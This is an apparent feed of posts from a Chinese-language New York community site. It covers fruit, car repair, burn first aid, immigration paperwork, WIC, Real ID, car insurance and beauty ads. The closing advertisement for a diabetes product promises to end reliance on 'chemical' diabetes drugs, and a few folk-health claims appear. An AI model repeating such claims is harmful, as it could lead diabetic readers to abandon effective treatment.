至于糖尿病患者,因为如今的橘子越来越甜、糖分也高,所以最好少量食用。
除了这三类人之外,一般民众建议一天吃一颗橘子比较适宜。因为吃太多橘子会加重体内湿气,出现胃凉、手脚冰冷、痰变多等症状。即使是热性体质,吃过量也会使胃酸变多、出现白痰,手脚变冰冷。


如何挑选橘子
挑选橘子并不难,留意2点即可:
● 果皮外表光滑,软硬适中。手握橘子时,以能感受到橘皮紧贴果肉的为佳,代表新鲜且水分未流失。
● 用手掂量水果的重量,较重的代表水分饱足。


橘子的保存
橘子不需要放入冰箱,置于通风良好的地方保存即可,并需趁新鲜吃完。如果同一袋橘子里,有一颗出现损伤或发霉,必须立刻拿走,避免整袋橘子全部加速发霉腐败。

2020-01-03 / by / in
汽车维修问与答:CEL亮灯要检查故障码

读者Wei问:李先生您好!我太太的车是2000年Toyota Corolla、已跑了137,125英里。前一阵Check Engine Light亮起同时闻到橡胶?塑胶?烧焦的味道,修车师傅给换了Carbon Canister Assembly(77790-02102),跑了2天当开启除雾器(defogger)时Check Engine Light又亮起,修车师傅说是同样的毛病,又换了一个Carbon Canister Assembly。


试车好几天,交车第二天Check Engine Light又亮了,修车师傅说做过Smoke Test管线没有漏气,这次他把ECU(Electronic Control Unit)换过一个旧的,试车8天跑了几百英里说没问题,我开回家不到1英里Check Engine Light又亮了,修车师傅说花了好多时间检修,真不知道是啥毛病?建议把旧零件装回去愿退还修车钱。

我儿子把车送去代理商修车厂检测DTC是P0446,说Emission Test通不过,但可以继续开不致有危险,要价$150。做细部检测我没让做,儿子换个油箱盖子并消灭警示灯(Turn Off Check Engine Light),第二天上下午各跑了短程没问题,隔天开启除雾器(defogger)Check Engine Light又亮了,我猜大概是哪个电气部件有问题?这部车给了我们非常忠诚的服务,我们也有按时保养换各种油液刹车皮。修车厂说Timing Cover, FIPG, Coolant, Front Crank Seal, Timing Chain Tensioner Gasket, Valve Cover Gasket要换还发现有漏油,请您给我建议。

谢谢!祝健康快乐!


李进答:Wei您好,当Check Engine Light(CEL)亮灯后,一定要使用故障码取读器来取读故障码。P0446是EVAP System Vent Control的问题。通常是控制阀(Vent Solenoid和Purge Solenoid),或者是油箱压力传感器(Tank Pressure Sensor)有问题。或者是控制阀的接线接触不良,或者是之间的橡胶管道有堵塞或爆裂。这个需要有经验的修车师傅检查EVAP(燃油挥发控制系统)的每一个元件。我在网上搜寻到一个链接上面有个很清晰的EVAP系统结构图做参考。这个和油箱盖的关系不大,虽然不少修车师傅第一件事就是让客户更换油箱盖。修车厂讲的那些东西和这个问题关系不大。https://parts.olathetoyota.com/p0446-code-toyota


读者Wei问:李先生您好,谢谢您的帮忙。

一位韩裔技师告诉我故障码P0446比较复杂,油箱里挥发的油气经由管道送回汽缸里燃烧,他做了烟测(Smoke Test)管道没有漏气;问题出在真空阀门(Vacuum Valve)故障(每20周期漏掉1次)。换过真空阀门就解决了,价钱还蛮公道的;不料过几天警告灯又亮了还是P0446,韩裔技师说他换过Solenoid,徒手检查系统内所有零件都没问题,用电脑查核也显示正常,这下他真没辙!?

由于车龄超过10年,而且每年行驶哩数低于5,000,老年人的车辆可以免除Emission Test;技师们说继续行驶应无危险,所以我暂时不理它。


谨此敬祝健康快乐!
李进答:Wei您好,P0446不错就是和EVAP系统有关。这个系统不复杂,但是问题发生后的时候还真的比较棘手。如果他们已经换过了真空阀,那问题肯定不在那里。我猜想问题可能出在:

1) 其他2个阀门。

2) 真空管道堵塞。(没有漏气并不代表没有堵塞)

3) 压力传感器Pressure Sensor

请参阅随信附上的EVAP 系统布局图做参考。

EVAP 系统布局图(李进提供)

李进具三十余年汽车维修保养经验,对汽车买卖也很熟悉。
如果您有汽车维修与保养方面的问题,欢迎发信至car_qna@epochtimes.com,来信请注明汽车型号、牌子及年份。

2020-01-01 / by / in , , ,
烫伤后如何急救,原来你一直错了!

烫伤后怎么处理

 

生活中总是难免有些意外,比如被开水烫到,或被炉火烧到,或被油烫伤,你千万要记住:


别用冰块敷!这是严重错误的处理方法!

烫伤后,有些人会使用冰块冰敷,这是错误的急救方法。因为冰块会起到一种作用,就是让血管收缩,使伤口加深,尤其是大面积的伤口更不宜使用。更不要用酒精、牙膏、酱油等,这些对降温没帮助,反而容易引起感染,影响医护人员的判断和紧急处理。


如果烫伤发生了,你要做的急救步骤,就是:

1. 冲水

烫伤后,要用大量流动的冷水冲洗约15到30分钟,或冲到不痛为止,以快速降低皮肤表面热度。流动的冷水可有效带走体表温度,是局部降温最安全又有效的方式之一。

若皮肤出现水泡,冲水的水流不能太强,水泡若弄破,容易感染。如果伤口已经脱皮,仍需用水为烫伤部位降温,但也要注意水流的强弱度,防止烫伤部位上的脱皮剥落。

任何化学药品,如水溶性、非水溶性、强酸、强碱等溅落在皮肤上时,都应即刻用大量清水冲洗。愈早冲洗伤口,皮肤烧灼伤的程度与深度会降低,对复原也较有帮助。

若烫伤面积大、需立即救治,可改将伤口泡在冷水当中帮助降温,并赶紧送医。


2. 脱去衣物、泡水降温减疼

 

充分冲水并浸湿后,接下来要小心除去衣物,必要时可用剪刀剪开衣服,避免将伤口的水泡弄破,并暂时保留黏住皮肤的衣物。接下来,再将伤口浸泡到冷水里。可在泡冷水时除去衣物,因为在水的浮力下,衣服不会紧贴在烫伤的皮肤上。

另外,烫伤处泡冷水时,会使水温缓慢上升,因此也要勤于更换冷水。浸泡时间同样要持续15到30分钟,以减轻疼痛及稳定情绪。但若是孩童或年长者烫伤,或是烫伤面积太大,不必浸泡过久,以免体温下降过度,或延误治疗时机。


3. 盖上干净纱布、送医治疗

除极小的烫伤可以自理外,严重或面积太大的烫伤都要到医院进行后续治疗。送医前,用干净的纱布或床单覆盖患部,以免伤口在运送过程中感染。

烫伤送医前,应使用干净的纱布覆盖患部,以免伤口在运送过程中感染。大面积烧烫伤的患者,皮肤损伤过多,体温及水分都会大量蒸散,加上冲跟泡的降温过程,可能引发失温,因此送医时,没有烫伤的部位也要注意保暖。


这些情况需要找医师

如果对烫伤伤口严重程度没把握,就要寻求医生处理。有5种情况更要紧急送医:


1. 眼睛化学灼伤,属眼科急症,应迅速就医。

2. 被强酸与强碱灼伤,做初步冲洗后应立即就医。

3. 呼吸道烧灼。

4. 烫伤部位非常疼痛、面积过大。

5. 虽无水泡形成,但伤口已呈白色或黑色的炭化皮革样

2019-12-30 / by / in , ,
入籍程序:如何成为美国公民

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       (网络图片)

(一)入籍资格规定:

1、提出申请时需年满18岁

2、成为永久居民5年以上,或与美国公民结婚获得绿卡3年以上

3、在美国实际居留的时间超过30个月(与美国公民结婚的申请人实际在美国居住18个月以上)

4、在申请所在地居住超过3个月(学生也可在就学所在地申请入籍)

5、良好的品德

6、懂得英文

7、了解美国历史及政府

8、效忠美国宪法

注:如果申请人在提交入籍申请表N-400时年满50岁,持有绿卡20年以上,或年满55岁并持有绿卡15年以上,或年满65岁并持有绿卡20年以上,均不需要考英文测验,申请人需要以自选的语言考公民知识。

有些申请人经医学鉴定,因生理或精神损伤,而无法符合教育规定,可以提出N-648残障豁免医疗证明,以申请豁免考试。

(二)将入籍申请表N-400、申请费及相关证明材料邮寄给美国移民局。

(三)面试

美国移民局官员审核N-400,进行入籍考试。若申请人未通过考试的任何部分,仍有第二次机会重考没通过的部分。

(四)入籍宣誓仪式

N-400被批准后,移民局会安排入籍仪式,以宣誓效忠美国。申请人必须宣誓效忠美国后,才算正式入籍成为美国公民。入籍仪式当天会核发公民证书,以作为公民的证明。

 

移民局客户服务中心电话:1-800-375-5283  听障人士请拨打1-800-767-1833

提交入籍申请表N-400有两种方式,一种是登录移民局网站www.uscis.gov提交,另一种是邮寄。纽约州居民如果选择邮局投递,收件地址如下:

USCIS

P.O.Box 660060

Dallas, TX 75266

如选择FedEx,UPS,DHL投递,收件地址如下:

USCIS

Attn: N-400

2501 S State Hwy 121 Business

Suite 400

Lewisville, TX 75067

2019-12-05 / by / in , , ,
在纽约如何申请奶票(WIC)

Image result for baby drink milk                                                                                             (网络图片)

妇婴幼儿特殊营养补充计划(WIC)是美国农业部的食物援助计划,全名是Special Supplemental Nutrition Program for Women, Infants, and Children, 简称WIC,俗称奶票、奶粉钱。

申请对象:低收入的孕妇、产妇(至产后六周)或喂母乳的妇女(至宝宝满一岁)及五岁以下小孩。

身分要求:申请WIC并不需要申请人是公民或绿卡身分,只要能证明居住在此地,有合法居留的身分就可以申请。

收入要求:收入在联邦贫穷标线(FPL)的185%以下即可申请。未出生的宝宝也算进家庭成员数中。

需要的材料:

1、收入证明

2、符合WIC服务范围的证明:妇女怀孕证明、小孩的出生证明

3、带照片的ID

4、住址证明,如水电费账单等

如何申请:

1、到WIC官方网站https://www.fns.usda.gov/wic进行预先筛选,确认是否符合申请条件。符合条件者打印出筛选结果,带着此结果参加审批面谈。

2、拨打WIC健康成长热线1-800-522-5006,找到离你最近的地方WIC机构,预约面谈时间。

3、届时参加面谈,符合条件者面谈结束即可获得食物券。

史丹顿岛儿科/华人儿科医生/718-980-6688/幸福儿科史丹顿岛分诊所

2019-12-05 / by / in , , ,
“真实驾照“您听说过吗? 纽约人赶快去换驾照

何为“真实驾照”?纽约人2020年10月前一定要去申请

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真实驾照模板(图片来源:DMV网站)

 

笔者在今年(2019年)7月带朋友去西点军校参观,却因为其中几位朋友的驾照或身份证不合格(这些驾照的右上角写有“非联邦用途”字样),被告知要买票坐旅游车才可入内(笔者之前几次参观西点军校,都是很顺利就自己开车进去了,证件上从来都不是问题,中国护照、美国驾照、美国身份证都可以作为有效身份证件)。笔者第一次听说了“真实驾照”、“真实身份证”这些名词。

在外观上看,“真实驾照”、“真实身份证”,是在驾照或身份证的右上角,有一颗星。

911事件以后,美国于2005年通过了《真实身份证法案》Real ID Act,旨在采用统一标准,建立证件的最低安全标准。国土安全局随后推出了真实身份证样本。这是一种标准卡,既可以当作驾照,也可以作为联邦认可的身份证。

纽约州车管局DMV从2017年10月30日开始,可以申请和发行REAL ID,申请者必须到DMV去办理,现在更换的人数并不多。 2020年10月1日之后,如果你还没有更换真实身份证Real ID或是持有有效护照、护照卡或军事证件,将不能乘坐美国国内的航班,也不可以进入联邦设施和军事基地。

如何更换真实驾照?

第一步,与当地车管局办公室DMV预约;

第二步,准备各种证明文件:

1、身份证明:出生证明,护照,工作许可文件,永久居民卡,或持有I-94批准表格的外国护照核证复印件;

2、社会安全号码的证明:如社会安全卡,W-2表,或载有社会安全号的工资单;

3、纽约州居住证明:如租赁或租约协议,抵押贷款账单,水电费账单,或就业丶医疗或学校文件;

4、其他文件:姓名更改文件原件或核证复印件,如结婚证书或离婚法令。

第三步,携带资料到DMV办理。

大约2周后,将收到新的Real ID。

纽约州Real ID网站介绍:https://dmv.ny.gov/driver-license/federal-real-id

2019-11-17 / 1 Comment / by / in , , , , , ,
更新的工卡还没收到 驾照即将过期怎么办

驾照就要到期了,更新的工卡还没收到,怎么办?

工卡更新可以提前120天申请。当移民局收到工卡更新申请材料后,他们会在一到两个星期内给你寄回执Form I-797。从2017117日开始,移民局出了一条新规定,如果你是在手头这张EAD卡过期前及时递交了工卡更新申请,并且你的EAD卡种类是C8/A5/A10/C9/A3等等同等类别的更新(一定要同等类别,例如旧卡是C8,更新的还要是C8才行),你可以凭着I-765收据(Form I-797)自动把你现在的EAD卡延180天。

在驾照过期前,带着驾照,旧工卡,社安卡,I-797表(工卡更新收据)这四样,去DMV办理驾照延期,可以延期180天。DMV通常先给你一张有效期为两个月的纸驾照,要和旧驾照一起用才有效!大概4个星期左右,你会收到新的延期6个月的驾照寄给你!办理是免费的!

等新工卡收到,再去DMV一趟,把驾照更新成工卡有效期。

法拉盛中华律师楼  代办工卡更新服务,收费少

咨询电话:718-461-8461

法拉盛地址136-20 38th Ave, Suite 9I Flushing, NY 11354

网址:http://www.xwonglaw.com

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

2019-11-12 / 1 Comment / by / in , ,
挑选好蛋有7个秘诀

鸡蛋不是越大越好!挑选好蛋有7个秘诀 鸡蛋的挑选/鸡蛋/鸡蛋营养价值/挑选鸡蛋/挑选鸡蛋方法/白壳鸡蛋/红壳鸡蛋/新鲜鸡蛋/生活小窍门/egg select/鸡蛋储存/鸡蛋保存方法

2019-10-23 / by / in
节省暖气费的简单方法

节省暖气费的简单方法 生活小窍门/节省暖气费/暖炉/暖气/温度调节/检查暖炉/湿度/温度

2019-10-20 / by / in
纽约护肤哪里好?

纽约护肤哪里好?21世纪美容(电话:718-939-1838)别错过 祛痘/祛皱/祛痘推荐/祛痘精华/祛角质/纽约美容/纽约最好的美容店/知名美容店/养颜美容/养颜美白/养颜护肤

2019-10-15 / by / in
有了这个,美白嫩肌不是梦!

做皮秒镭射不如做好这几步 成为美白教主不是梦 医美美白/皮秒镭射/皮秒镭射效果/皮秒镭射肤质/淡斑美白/美白/淡斑/食物/感光/睡眠/油炸食品/防晒/黑斑/皮肤敏感

2019-10-14 / by / in
【懒女人变美 】BB霜要怎样使用才能演绎完美裸妆?附上最新秘诀!

bb霜用法/bb霜推荐/bb霜 粉底液/素顏霜/bb霜使用/bb霜化妆/bb霜防晒/bb霜裸妆

BB霜科普

 

BB霜兼具遮瑕、调整肤色、防晒、细致毛孔,裸妆效果。BB霜混有粉底液,用完后必须使用卸妆水进行卸妆。

BB霜

BB霜是「Blemish Balm」的缩写,它的颜色成分并不是化工色素而是天然成分,使用后没有丝毫着妆的痕迹,却看起来比平日精致了许多,妆容自然清新,能令肌肤呈现出宛若天然的无瑕美感,健康而有活力,营造裸妆效果。

 

现在的市场上BB霜,作为第四代BB霜,具有粉底、隔离、遮瑕、防晒、护肤等多重功效,不易堵塞毛孔,具有很好的修饰肤色的功效。可谓满足了很多女性的护肤美容需求,同时使用简单,因而已经成为了女人必备之物,成为懒女人的最爱。


如何挑选BB霜?

 

不同的肤质需要用不同类型的化妆品。一般是按油性皮肤、中性皮肤及干性皮肤来分,你要根据自己的具体情况来选择。

如果你是油性皮肤,就要选用哑光的BB霜。同时,要尽量挑选含天然植物精华的BB霜。因为这种类型的皮肤很敏感,而含天然植物精华的BB霜不容易刺激皮肤。

如果你是中性皮肤,就可以选用保湿型的BB霜,这样能使你的皮肤看上去更加光滑。如果你想提亮肤色的话,就可以挑选一款同时有美白效果的BB霜。

如果你是干性皮肤,就要选一款水润的BB霜,而不要用那种膏状的,因为膏状的BB状会使皮肤变得更加干燥。另外,你也需要配合使用其他保湿用品。


如何使用BB霜?

用指尖在一小坨BB霜中蘸一蘸,然后涂到脸上。涂的时候一定要先点上去:一点在额头上,一点在鼻尖上,一点在左脸颊上,一点在右脸颊上,还有一点在下巴上。每一点BB霜都必须是等量的。不要一大块一大块地涂抹,BB霜要抹淡淡的一层,否则会显得一脸脂粉气。

 

将BB霜轻轻拍打开来。用食指及中指画着圈将BB霜轻轻拍打开来。不过拍打的时候,手指不能一直紧压着皮肤,而要起起落落。这样轻柔地拍打,BB霜就能涂得均匀,而且不会刺激皮肤了。从额头开始拍打,然后从中间移向两边的太阳穴,拍打鼻子及下巴上的BB霜,最后拍打脸颊。

 

用轻拍的方法在眼睛周围抹BB霜,可以防止涂抹时拉扯皮肤,这样容易引起皱纹。


使用BB霜五步曲

第一步:先用洗面奶洗好脸;

第二步:擦上保湿的爽肤水;

第三步:涂上保湿的隔离霜(面霜);

第四步:擦上BB霜;

第五步:(这一步不是非必需的)使用定妆粉定妆。

使用BB霜秘诀

 

少量多次的涂抹便是精准控制妆感的诀窍。每次挤出一小砣于手掌上,再用手指轻轻点在额头、脸颊、鼻子、下巴等处,然后拍打至全脸,用轻拍的方式涂抹,让效果更均匀。如果只用 BB霜作底妆,在痘疤、黑眼圈等部位多次,且少量的叠擦上 BB霜,这样就能达到重点遮瑕的效果。

 

如果是 BB霜之后再使用粉饼,BB霜的使用量就可以减少使用,不然最后可能会由于妆容过于厚重,而达不到轻盈自然的裸妆效果。注意了,最后的定妆粉也只需要薄薄地涂一层即可,这样的化出来的妆容,才会更加自然。

 

2019-10-12 / by / in
动手做世界著名的咖啡

动手做世界著名的咖啡 各种风味大不同 好喝咖啡品种推荐/纯手工咖啡/自制咖啡/维也纳咖啡/卡布奇诺/摩卡薄荷咖啡/土耳其咖啡/玛莉亚•戴丽佳咖啡/冰奶油块咖啡

2019-10-11 / by / in
怎样在星巴克点饮品?

 

你还在说是星巴克的粉?这些小细节你都知道吗?怎样在星巴克点饮品/星巴克饮品/星巴克tall/星巴克grand/星巴克venti/星巴克外带/星巴克饮品一览表/星巴克咖啡/星巴克星

2019-10-11 / by / in
美国保险专家:203-676-7043 史上最实用的节省汽车保费的秘诀!附汽车保险公司价格对比表

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如果你不懂得汽车投保的技巧

咨询电话:203-676-7043

你的保险费可能会比别人高出很多


在美国生活,没有车你寸步难行,汽车已经成为美国的一种必需交通工具。而且美国大多而数州的法律都强制车主买保险,很多初到美国的华人朋友,可能不知道在美国大部分的州,没有购买汽车保险的情况下开车是属于违法的行为。所以,如何购买车险,也成为你在美国的一个必做的功课!

 

纽约金牌资讯网特别提醒初来美国的华人朋友,美国开车有三样东西一定要随身携带或放在车上,分别是驾照(diver license)、行车执照(registration)以及保险卡(insurance ID card)。开车时若遇到有违章或者因故被警察询问,这三样缺一不可,要是你不能够提供汽车的保险材料,警察就有权力对你进行起诉,轻则罚款,重则坐牢,后果很严重的。

汽车保险


以加州为例,没有保险被抓到的罚则为:

初犯:交通罚款 $100-$200 加上附加罚款 $260-$520

累犯:交通罚款 $200-$500 加上附加罚款 $520-$1300

初犯并且肇事:通罚款 $100-$200 加上附加罚款 $260-$520|驾照吊销一年|行照可能吊销

累犯并且肇事:交通罚款 $200-$500 加上附加罚款 $520-$1300|驾照吊销最多四年|行照可能吊销

所以在美国,如果你为了省钱不买汽车保险,可不仅仅是捡了芝麻丢了西瓜这么简单,那是要付出惨痛代价的,结论就是不习车保绝对是得不偿失!

车祸赔偿


让美国保险资讯研究所专家

告诉您在美国节省汽车保费的秘诀


第一步:汽车保险额的因素

 

当你购买了汽车后,当务之急的事情就是考虑如何选择车险的问题了。首先你要了解的是,决定汽车保险额的因素是哪些?

 

在美国,汽车保险的价格跟投保者所拥有的汽车的价格,性能,居住地区,汽车颜色,年龄,婚姻状态,有无子女,驾驶记录等若干因素决定。

 

首先,汽车价格越高,汽车的保险费用也就越高。

第二,汽车的加速性越好,马力越大,相应的保险费用也越高。

第三,汽车投保人所居住的地区不同,价格相差甚远,治安较好,根据统计发生车祸较少的城市,价格就相对好很多

第四, 保险公司在保险费用上还会考虑投保人每天开车行驶的距离和每年大致的行驶里程。

第五,投保人的年龄,一般来说25岁以下的青年保费会比较高,尤其是21岁以下。

第六,婚姻状况也是一个重要因素。因为从心理学分析,人在结婚和有了孩子后,责任心会加重,在开车时也就会更加小心。

第七,投保人拥有驾驶执照的时间在保险费用上面也体现的很明显。一般来说持有驾照时间越长,保费会越低。

第八,驾驶记录,如果驾驶记录良好,没有被警察开过罚单,没有出过车祸,那保费每年都会有所递减。如果出过车祸,那接下去的保费就会升高许多。

第九,购买车险时,投保人拥有的汽车数量也是汽车保险费的一个重要因素。如果一个人拥有一辆以上的汽车并且在同一个保险公司购买的汽车保险,保险公司会根据多车优惠计划在保费上给予优惠。

纽约汽车保险


第二步:选择车险种类

 

美国的车险大致分为五个部分:责任险(Liability),撞车(Collision),意外险(Comprehensive),无保险和保险不足驾驶人保险(Uninsured and Underinsured motorist coverage),个人伤害防护(Personal Injury protection)。

 

责任险(liability):用于赔付在意外事故中对他人造成的人身伤害和财产损失。还包括赔付辩护费和诉讼费。此类险种是法律强制性必须要购买的。

撞车险(collision):用于赔付汽车因与其他车辆或物体碰撞而发生的损坏。

综合险(comprehensive):用于赔付被保车辆在汽车事故以外的损失或损坏。综合险覆盖的损失包括火灾,冰雹,水灾,偷盗等。

医疗险(medical):只要医疗开支是由汽车事故造成的,不论责任方是谁,此险种均会赔付医疗支出。

无保险和保险不足驾驶人保险(Uninsured and Underinsured motorist coverage):顾名思义,就是在对方没有保险或者保险额度不足时,自己的保险公司给予赔付。

车祸保险


小额的汽车附加险:

 

除了以上主要的汽车保险项目以外,还有一些小额的汽车附加险:

 

Rental Reimbursement(租车费用返还):如果你的车子需要留厂修理,保险会报销这期间你的租车费用,通常会有每天(per-day)以及单次意外总费用(per-accident)的上限。但是注意了,如果你还有其他车子或者你不一定要开车出门的话,这项保险完全不用考量。

Towing and Roadside Assistance(拖车保险):如果车子半路出问题,保险会提供免费的拖车服务(可能有距离限制)或者其他道路救援服务,例如派人来帮你解决电池没电、没汽油、爆胎换轮胎、车门反锁等等问题。但是注意了,你购买新车的厂方有提供免费的道路救援服务,或者你加入了一些这类福利的信用卡,也不需要再花钱买拖车保险。

 

Gap Insurance(差价保险):负责赔付车子现价(由collision/comprehensive赔付)与贷款额的差价减去deductible。

车祸保险


第三步:

怎样选择最省钱、合理,最合适的汽车保险?

 

1) 了解自己的需求,根据所在地的法律法规,适当选择保险项目

2)了解你自己的汽车,汽车价格,存在的功能,安全性,维修起来的大概费用,选择适合自己需求的保险项目

3)了解自己选择的保险项目,不买不必要的项目

4)了解并找出适合自己的保险折扣

车祸赔偿保险


通过综合比较,总结出美国几大保险公司普遍存在的折扣如下:

 

(下面是针对驾驶身份的汽车保险折扣)

1. 好学生折扣 (Good Student Discount)

2. 住宿生折扣 (Away-From-Home Student/ Resident Student Discount)

如果要去离家很远的地方上学(比如100英哩之外),有可能可符合 Resident Student Discount 折扣,主要是提供因为离家就学的关系而不会开到这辆车,但是在周末或寒暑假时会回家开车的学生族群。

3. 特定组织、学校联盟折扣 (Professional & Academic Organizations, Employee Discounts)

4. 年长者折扣 (Senior/Mature Driver):许多保险公司也提供年长者保险优惠,通常50岁以上就可符合折扣资格。

5. 军人、联邦政府员工折扣 (Military and Federal Employee)


(下面是针对车辆的汽车保险折扣)

6. 车内安全装置折扣 (Vehicle Safety Equipment Discount)

7. 车辆防盗装置折扣 (Anti-Theft Car Discount)

8. 新车折扣 (New Car Discount)

9. 环保节能车折扣 (Economy Car Discount):若开电车,某些保险公司可能会给予环保节能折扣 (Save some green for driving green)。


(下面是针对保险内容的汽车保险折扣)

10. 屋主折扣 (Homeowner Driver)

11. 线上保险估价折扣

12. 复合保险折扣 (Multi-Policy/Multi-Line/Bundling Discount)

13. 多辆车折扣 (Multi-Car Discount) 如果向同间保险公司加保其他车的话可享折扣。

14. 一次付清折扣 (Pay-in-Full Discount) 与自动转帐折扣 (Automatic Bill)

15. 换约折扣 (Switch & Save Discount)

16. 电子帐单折扣 (e-Bill Discount)

17. 提前签约折扣 (Early Signing Discount) 如果在你的当期保险尚未到期前,就先签下一期的合约,也有可能打折。

18. 老客户折扣 (Loyalty Discount)


(下面是针对驾驶安全行为的汽车保险折扣)

19. 好驾驶折扣 (Good/Safe Driver Discount)

20. 无肇事求偿纪录折扣 (Accident-Free/Claim-Free Discount)

21. 防御性驾驶训练折扣 (Defensive Driver Discount)

22. 低里程与使用折扣 (Low Mileage and Usage)

23. 保险公司监测系统折扣 (Usage-Based Discount)

车祸保险


第四步:怎样找到保险便宜的车型?

 

据美国保险资讯研究所(Insurance Information Institute)资料,不同保险公司与不同车型之间,保险费可以相差数百美元。所以你在买新车时,切记一定要选择保险费最便宜的车型哦!通过综合考量与评估,纽约金牌资讯网为来美的华人朋友,找出九款比较经济实惠省钱的汽车车型:

Mazda CX-5
Acura RDX
Jeep Wrangler
Ford Expedition
Volvo XC60
Subaru Outback
GMC Canyon
Subaru Forester
Acura MDX


第五步:不买不需要的保险项目

 

有许多人只是年复一年的依照旧的保险项目更新汽车保单,即使汽车已经老旧破损了也不管。其实您的汽车经过多年的使用之后,如果已经残破不堪,纵使发生意外事故而有损毁,可能已不值得向保险公司索赔修复或换车费用,建议您就不要再投保碰撞或综合意外险了。

那么如何判断您的汽车不需要投保碰撞或综合意外险呢?美国保险资讯研究所建议,如果您的汽车价值低于保费的10倍,表示没有必要在买上述保险项目。您可以向银行、汽车销售商及汽车估价网站等处查询您的汽车价值。


第六步:避免孩子列为经常驾驶人

 

如果您的孩子已经离家读大学,可以将他(她)从汽车保险单上的经常驾驶人(Regular driver)变更为偶而驾驶人(Occasional driver),如此可享有最高百分之五十的折扣,因为二十五岁以下的驾驶人,尤其是男性,保费通常是最高的。

偶而驾驶人通常必须居住在离家100英里以外的地方才符合资格。如果您需要将孩子包含在保单内,看看保险公司是否有提供“优良学生折扣(Good student discounts)”,一般而言,平均成绩在B级以上的全职学生便有可能获得此折扣。


第七步:加装防盗设备

 

汽车加装防盗设备,例如警报器、禁止发动装置、电子追踪系统等,可降低汽车失窃之风险,因此汽车保险公司会给予保费折扣。

 

一般而言,被动式的防盗装置(通常是在汽车上锁时会同时启动)会有百分之十五至二十的折扣,如果这种防盗装置再与寻回追踪系统(Recovery tracking system)结合,可以获得百分之三十以上的折扣。

 

此外,如果您的汽车是停在车库内,比停放在街上的失窃风险低,也可以节省保费。


第八步:买安全性较高的车

 

安全性较高的汽车通常比较贵,如果为了节省保费而去买较贵的车子显然是不划算的。但是如果您正要购买新车,一定要把汽车的安全功能列入考虑,因为这样对您的生命比较有保障,附带的也可以节省汽车保费。

 

常见的汽车安全功能设备有:自动安全带、防撞气囊、电子防滑稳定控制系统(Electronic Stability Control,简称:ESC)、防锁死刹车系统(Anti-lock Braking System;简称ABS)等。电子防滑稳定控制系统是帮助汽车在恶劣的路况时防止车子打滑失控的装置,美国政府规定2012年以后所有汽车都必须配备此系统。


汽车保险在美国,一般一期为6个月,在车险到期前,保险公司会发邮件,或者邮寄信件给客户,提醒你保险即将过期,并且给出新一期6个月车险的报价供你参考。

 

下面附上美国部分保险公司的汽车保险价格,以供大家比较:


综上所述,如果你懂得这些技巧,你将为你的汽车保险费节省一大笔开销,恭喜你即将成为汽车投保顾问的汽车达人!金牌资讯网祝大家出行平安,生活美满!

2019-10-10 / by / in , , , , , , , ,
关于松露我们要了解的事情

关于松露你了解多少?什么是松露/松露烹饪/松露料理/黑松露/松露怎么吃/松露挑选/白松露/松露料理菜单/松露保存方法/松露保鲜

2019-10-10 / by / in
维胰健:改变糖尿病人终身依赖化学降糖药的生活方式
導讀:隨著人們生活條件的好轉和物質的極大豐富,糖尿病的發病率越來越高。人壹到中年,糖尿病、高血壓、腫瘤成為健康的三大威脅。
2018年3月30日,美國國家疾控中心CDC在其主辦的期刊《發病率和死亡率周報》(Morbidity and Mortality Weekly Report)上發表了美國
成年人患糖尿病的最新數據,迄今尚有2300多萬美國人正在與這壹血糖疾病進行著鬥爭。
糖尿病本身並不可怕,可怕的是其帶來的諸多並發癥,糖尿病患者血液中過高濃度的糖對血管會造成損害,更容易誘發動脈粥樣硬化,
所以常會引起全身各器官的並發癥,損傷心臟的血管會引發冠心病;損傷腎臟血管會引起糖尿病腎病;此外還有糖尿病視網膜病變、
周圍神經病變等,嚴重者還會因細胞長期得不到足夠的糖分和血糖過高導致足部潰瘍、感染等,即糖尿病足,糖尿病足患者最後出現
壞疽而不得不截肢的也不在少數。
作為壹個健康的人很難理解糖尿病患者的痛苦為此,我們也采訪了很多糖尿病患者讓我們聽聽他們的聲音

 

【我是如何壹步步走向失明的】
1
我叫張XX,現年62歲,農村人。10年前因身體不舒服,在醫院做檢查的時候,被查出患有糖尿病了。醫生叮囑我講,妳的血糖值偏高,要按時用藥,飲食壹定要註意,少吃多餐。特別是要戒煙,酒最好也不喝,定期到醫院復查等等。但是剛開始患上糖尿病並沒有什麽感覺,再說,也沒有那麽多閑錢。後來只是把醫院開的藥吃完以後,也就沒有去再意這件事了。

壹直這樣,差不多持續了兩三年吧,身體也不痛不癢的。兒子有時候會勸我說糖尿病挺可怕的,讓我多註意身體。我說也就那樣,

我還不是該吃吃,該喝喝,身體不壹樣挺好的,沒什麽大礙。

可是,到了差不多第4年的時候,眼睛看東西有點模糊了,看星星的時候有點重影。心想,估計真是上年紀了,老花眼都來了。

哪知道這居然是糖尿病引起的,壓根就沒想過糖尿病居然會導致眼睛失明。到了後來眼睛越來越看不清了,沒辦法,只能去醫院了,醫生看了後說已經太晚了。

                                           視網膜病變是不可逆的,我真的非常的後悔沒有早點註意起來,如果能夠聽醫生的,註意飲食,保持壹個好的生活習慣,定期檢查,結果壹定會不壹樣。
​                                                      —————————————————————————————————————————————
看了張老漢的故事,不禁令人感到惋惜在這個世界上的各個角落或許每天都在上演著壹樣的悲劇

如果他們能多懂壹些糖尿病知識

註意飲食,堅持運動,配合治療

那小編相信壹定會有更多人擺脫糖尿病病魔

 

所以為了讓更多的人了解到糖尿病的危害幫助更多的糖友走出糖尿病我們在紐約和中國香港

分別成立了糖尿病患者治療中心

紐約治療中心地址
美國紐約法拉盛飛囖皇後大樓5樓A室電話:718-866-2269
香港治療中心地址
首先,我們先來了解壹下自己的身體,看看自己是否有患糖尿病的風險。
●妳近日是感覺嗓子發幹、飲水多卻口幹、小便增多嗎?

●妳身體本來肥胖,餐後3~4小時即感到饑餓、心慌、手抖、乏力嗎?

●妳的皮膚癤腫層出不窮,化膿性感染久治不愈,局部藥物治療效果不佳嗎?

●妳有全身性皮膚發癢嗎?尤其是女性,有陰部瘙癢難忍嗎?

●妳原患的肺結核突然惡化,用藥效果不明顯嗎?

●妳的肩部、手足麻木嗎?有下肢脈管炎、足部潰瘍感染和組織壞死嗎?

●妳年紀輕輕就有白內障,視力迅速減退嗎?

●妳尿中有蛋白,身體浮腫,甚至出現尿毒癥了嗎?

●妳的父母或兄弟姐妹中有糖尿病患者嗎?

●妳常有空腹饑餓感嗎?

●妳什麽也沒幹,身體也覺得疲倦嗎?

以上各問中,凡回答“是”者,說明有患糖尿病的可能;“是”越多,糖尿病癥狀越明顯,應到醫院做進壹步診斷。
